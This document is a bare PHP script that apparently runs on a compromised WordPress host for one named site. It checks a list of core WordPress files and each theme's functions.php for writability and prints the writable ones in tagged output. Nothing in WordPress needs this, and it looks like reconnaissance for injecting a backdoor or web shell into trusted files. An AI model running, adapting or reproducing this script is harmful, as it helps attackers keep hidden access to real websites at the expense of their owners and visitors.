<?php   function looks_php_writable($path) {     if (!is_file($path) || !is_writable($path)) {         return false;     }     $size = @filesize($path);     if ($size === false || $size < 32) {         return false;     }     $head = @file_get_contents($path, false, null, 0, 64);     if ($head === false) {         return false;     }     return (strpos($head, '<?php') !== false) || (strpos($head, '<?=') !== false); }  $f = ['wp-includes/widgets/class-wp-widget-recent-comments.php','wp-includes/widgets/class-wp-widget-media-gallery.php','wp-includes/widgets/class-wp-widget-recent-posts.php','wp-includes/widgets/class-wp-widget-media-audio.php','wp-includes/widgets/class-wp-widget-media-image.php','wp-includes/widgets/class-wp-widget-media-video.php','wp-includes/widgets/class-wp-widget-custom-html.php','wp-includes/widgets/class-wp-widget-categories.php','wp-includes/widgets/class-wp-widget-tag-cloud.php','wp-includes/widgets/class-wp-widget-archives.php','wp-includes/widgets/class-wp-widget-calendar.php','wp-includes/widgets/class-wp-nav-menu-widget.php','wp-content/themes/twentytwentyfive/functions.php','wp-content/themes/twentytwentyfour/functions.php','wp-includes/widgets/class-wp-widget-search.php','wp-includes/widgets/class-wp-widget-pages.php','wp-includes/widgets/class-wp-widget-links.php','wp-includes/widgets/class-wp-widget-media.php','wp-includes/widgets/class-wp-widget-block.php','wp-includes/widgets/class-wp-widget-meta.php','wp-includes/widgets/class-wp-widget-text.php','wp-includes/widgets/class-wp-widget-rss.php','wp-admin/includes/class-wp-site-health.php','wp-includes/pluggable-deprecated.php','wp-includes/class-wp-admin-bar.php','wp-includes/default-widgets.php','wp-includes/pluggable.php','wp-includes/version.php','wp-settings.php','wp-load.php']; $r = "/home/promosig/promosignprinting.com"; foreach ($f as $p) {     $path = "{$r}/{$p}";     if (looks_php_writable($path)) {         print "<f>{$p}</f>";     } } $themes_dir = $r . '/wp-content/themes'; if (!is_dir($themes_dir)) {     die('!ended!'); } $theme_dirs = glob($themes_dir . '/*', GLOB_ONLYDIR); foreach ($theme_dirs as $themeDir) {     $p = $themeDir . '/functions.php';     if (looks_php_writable($p)) {         $p = explode('/wp-content/', $p)[1];         print "<f>wp-content/{$p}</f>";     } } die('!ended!');